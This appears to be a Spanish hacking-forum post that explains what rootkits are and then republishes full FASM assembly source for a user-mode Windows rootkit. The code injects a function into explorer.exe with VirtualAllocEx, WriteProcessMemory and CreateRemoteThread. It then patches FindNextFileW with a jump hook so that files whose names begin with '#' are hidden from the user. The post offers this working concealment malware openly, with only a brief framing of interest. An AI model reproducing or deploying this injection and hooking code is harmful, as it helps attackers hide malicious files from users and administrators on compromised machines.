[SRC][FASM] User Mode Rootkit [FindNextFileW]

Navegando por algunos foros de Hacking de habla hispana he encontrado este código de [Zero] que establece un hook sobre la API FindNextFileW en explorer ocultando los archivos que empiecen por la almohadilla.
He de reconocer que he tenido que esforzarme un poco en comprender a fondo su funcionamiento y es que hace mucho que no programo en ensamblador y mi nivel en este lenguaje no es que sea precisamente excelente. Después de sufrir un poco he conseguido comprenderlo por completo y me he animado a publicarlo ya que se trata de un código interesante.
El código en cuestión no es más que el de un sencillo rootkit en modo usuario.
Pero que es un rootkit??

Según la wikipedia:
Un rootkit permite un acceso de privilegio continuo a una computadora pero que mantiene su presencia activamente oculta al control de los administradores al corromper el funcionamiento normal del sistema operativo o de otras aplicaciones. El término proviene de una concatenación de la palabra inglesa root, que significa 'raíz' (nombre tradicional de la cuenta privilegiada en los sistemas operativos Unix) y de la palabra inglesa kit, que significa 'conjunto de herramientas' (en referencia a los componentes de software que implementan este programa). El término rootkit tiene connotaciones peyorativas ya que se lo asocia al malware.
En otras palabras, usualmente se lo asocia con malware, que se esconde a sí mismo y a otros programas, procesos, archivos, directorios, claves de registro, y puertos que permiten al intruso mantener el acceso a una amplia variedad de sistemas operativos como pueden ser GNU/Linux, Solaris o Microsoft Windows para remotamente comandar acciones o extraer información sensible.
Típicamente, un atacante instala un rootkit en una computadora después de primero haber obtenido un acceso al nivel raíz, ya sea por haberse aprovechado de una vulnerabilidad conocida o por haber obtenido una contraseña (ya sea por crackeo de la encriptación o por ingeniería social). Una vez que el rootkit ha sido instalado, permite que el atacante disfrace la siguiente intrusión y mantenga el acceso privilegiado a la computadora por medio de rodeos a los mecanismos normales de autenticación y autorización. Pese a que los rootktis pueden servir con muchos fines, han ganado notoriedad fundamentalmente como malware, escondiendo programas que se apropian de los recursos de las computadoras o que roban contraseñas sin el conocimiento de los administradores y de los usuarios de los sistemas afectados. Los rootkits pueden estar dirigidos al firmware, al hipervisor, al núcleo, ó , más comúnmente, a los programas del usuario.
La detección del rootkit es dificultosa pues es capaz de corromper al programa que debería detectarlo. Los métodos de detección incluyen utilizar un sistema operativo alternativo confiable; métodos de base conductual; controles de firma, controles de diferencias y análisis de volcado de memoria. La eliminación del rootkit puede ser complicada o prácticamente imposible, especialmente en los casos en que el rootkit reside en el núcleo; siendo a veces la reinstalación del sistema operativo el único método posible que hay para solucionar el problema.

Un rootkit se usa habitualmente para esconder algunas aplicaciones que podrían actuar en el sistema atacado. Suelen incluir backdoors (puertas traseras) para ayudar al intruso a acceder fácilmente al sistema una vez que se ha conseguido entrar por primera vez. Por ejemplo, el rootkit puede esconder una aplicación que lance una consola cada vez que el atacante se conecte al sistema a través de un determinado puerto. Los rootkits del kernel o núcleo pueden contener funcionalidades similares. Un backdoor puede permitir también que los procesos lanzados por un usuario sin privilegios de administrador ejecuten algunas funcionalidades reservadas únicamente al superusuario. Todo tipo de herramientas útiles para obtener información de forma ilícita pueden ser ocultadas mediante rootkits.
Los rootkits se utilizan también para usar el sistema atacado como «base de operaciones», es decir, usarlo a su vez para lanzar ataques contra otros equipos. De este modo puede parecer que es el sistema infiltrado el que lanza los ataques y no el intruso externo. Este tipo de ataques podrían ser de denegación de servicio (DoS), ataques mediante IRC o mediante correo electrónico (spam).

Los rootkits se pueden clasificar en dos grupos: los que van integrados en el núcleo y los que funcionan a nivel de aplicación. Los que actúan desde el kernel añaden o modifican una parte del código de dicho núcleo para ocultar el backdoor. Normalmente este procedimiento se complementa añadiendo nuevo código al kernel, ya sea mediante un controlador (driver) o un módulo, como los módulos del kernel de Linux o los dispositivos del sistema de Windows. Estos rootkits suelen parchear las llamadas al sistema con versiones que esconden información sobre el intruso. Son los más peligrosos, ya que su detección puede ser muy complicada.
Los rootkits que actúan como aplicaciones pueden reemplazar los archivos ejecutables originales con versiones crackeadas que contengan algún troyano, o también pueden modificar el comportamiento de las aplicaciones existentes usando hacks, parches, código inyectado, etc.


En este caso estamos hablando del código de un sencillo rootkit en modo usuario que se ejecuta en modo Ring3 y no modifica partes del nucleo del sistema.


;-------------------------------------------------------------------------------------------------
; RootKit por Hacker_Zero & YST
; RootKit sin dll que Hookea FindNextFileW en explorer ocultando los archivos que
;comiencen por '#'
;-------------------------------------------------------------------------------------------------
 
include 'C:\fasm\include\win32ax.inc'
 
.code
proc start
    locals
        ProcessName             db                              "explorer.exe",0
    endl
 
    stdcall Inyectar,addr ProcessName,FINFuncion-FuncionInyectada,FuncionInyectada,[GetProcAddress]
    cmp eax,-1
    jne salir
 
    invoke MessageBoxA,0,"No se encontró el proceso!",0,0
 
    salir:
    invoke ExitProcess,0
endp
 
proc Inyectar,ProcessName,Tamaño,Funcion,Datos
    locals
        struct PROCESSENTRY32
            dwSize                  dd ?
            cntUsage                dd ?
            th32ProcessID           dd ?
            th32DefaultHeapID       dd ?
            th32ModuleID            dd ?
            cntThreads              dd ?
            th32ParentProcessID     dd ?
            pcPriClassBase          dd ?
            dwFlags                 dd ?
            szExeFile               rb MAX_PATH
        ends
 
        pInfo                   PROCESSENTRY32                  ?
        Handle                  dd                              ?
        PID                     dd                              ?
        DirFuncion              dd                              ?
        hProcess                dd                              ?
    endl
 
    pushad
 
    ;Obtenemos el PID del proceso
    invoke CreateToolhelp32Snapshot,0x00000002,0
    mov [Handle],eax
 
     mov eax,sizeof.PROCESSENTRY32
     mov [pInfo.dwSize], eax
 
    BuclePid:
        invoke Process32Next,[Handle],addr pInfo
        cmp eax,0
        je FinProcBuclePID ;No hay más procesos
        invoke lstrcmp,addr pInfo.szExeFile,[ProcessName]
        cmp eax,0
        jne BuclePid
        jmp FinBuclePid
 
    FinProcBuclePID:
    invoke CloseHandle,[Handle]
    popad
    mov eax,-1
    ret
 
    FinBuclePid:
    invoke CloseHandle,[Handle]
    push [pInfo.th32ProcessID]
    pop [PID]
 
    ;Lazamos el proceso
    invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
    mov [hProcess],eax
 
    ;Reservamos espacio en el proceso
    invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
    mov [DirFuncion],eax
 
    ;Escribimos los datos en memoria
    invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0
 
    ;Creamos el hilo
    invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[Datos],0,0
    popad
    mov eax,1
    ret
endp
 
proc FuncionInyectada,pGetProcAddress
 
     locals
         BaseKernel32                   dd               ?
         OriginalProtection             dd               ?
     endl
 
     ;Leemos el PEB  para obtener la base de KERNEL32.DLL
     xor  eax, eax
     add  eax,[fs:eax+30h]
     mov  eax, [eax + 0ch]
     mov  esi, [eax + 1ch]
     lodsd
     mov  eax, [eax + 08h]
     mov [BaseKernel32],eax
 
     ;Obtenemos la dirección de FindNextFileA
     stdcall [pGetProcAddress],[BaseKernel32],'FindNextFileW'
     mov ebx,eax
 
     stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
     stdcall eax,ebx,7,PAGE_EXECUTE_READWRITE,addr OriginalProtection
 
     ;Calculamos el delta offset
     call delta
     delta:
     pop edx
     sub edx,delta  ;edx=delta
 
     ;Lo guardamos en la pila
     push edx
 
     ;Guardamos la dirección de FindNextFileW en la variable dirFindNextFileW
     add edx,dirFindNextFileW
     mov dword[edx],ebx
 
     pop edx
 
     mov ecx,edx
     add ecx,ApiOriginal
     mov al,byte[ebx]
     mov byte[ecx],al
     mov byte[ebx],0xE9   ;0xE9=jmp
     inc ebx
     inc ecx
 
     mov eax,dword[ebx]
     mov dword[ecx],eax
     mov eax,FuncionHook
     add eax,edx
     sub eax,ebx
     sub eax,4
     mov dword[ebx],eax   ;la dirección a la que saltará
 
     add ebx,4
     add ecx,4
 
     mov ax,word[ebx]
     mov word[ecx],ax
 
     mov word[ebx],0x9090
 
     ret          ;Terminamos, ya hemos modificado el principio de la api,
                  ;cuando el programa llame a FindNextFileW, saltará a FuncionHook
 
;--------------------------------------------------------------------------------------------------------------------------------------------
 
     ;Contiene los 7 primeros bytes de la Api FindNextFileW y una rutina para saltar a FindNextFileW+7
     ApiOriginal:
         ;edx=delta
         ;7 nops que cambiaremos en tiempo de ejecución por los 7 primeros bytes de FindNextFileW
         nop
         nop
         nop
         nop
         nop
         nop
         nop
 
         add edx,dirFindNextFileW  ;Obtenemos la dirección de FindNextFileW leyendo
         mov eax,dword[edx]      ;la variable dirFindNextFileW y la guardamos en eax
         add eax,7           ;Nos desplazamos 7 bytes
         jmp eax             ;Saltamos a FindNextFileW+7
 
;--------------------------------------------------------------------------------------------------------------------------------------------
 
     ;Función a la que salta el programa cuando se llama a la API hookeada
     proc FuncionHook,hFindFile,lpFindFileData
         Volver:
         ;Obtenemos el delta offset
         call delta2
         delta2:
         pop edx
         sub edx,delta2
 
         ;Llamamos a nuestro buffer
         push [lpFindFileData]
         push [hFindFile]
         mov ecx,edx
         add ecx,ApiOriginal
         call ecx
         cmp eax,0
         je Retornar
 
         mov ebx,[lpFindFileData]
         add ebx,44
         cmp byte[ebx],'#'
         jne Retornar
 
         jmp Volver
 
         Retornar:
         ret
    endp
;-------------------------------------------------------------------------------------------------------------------------------------------
 
         dirFindNextFileW                  dd                      ?
endp
 
FINFuncion:
.end start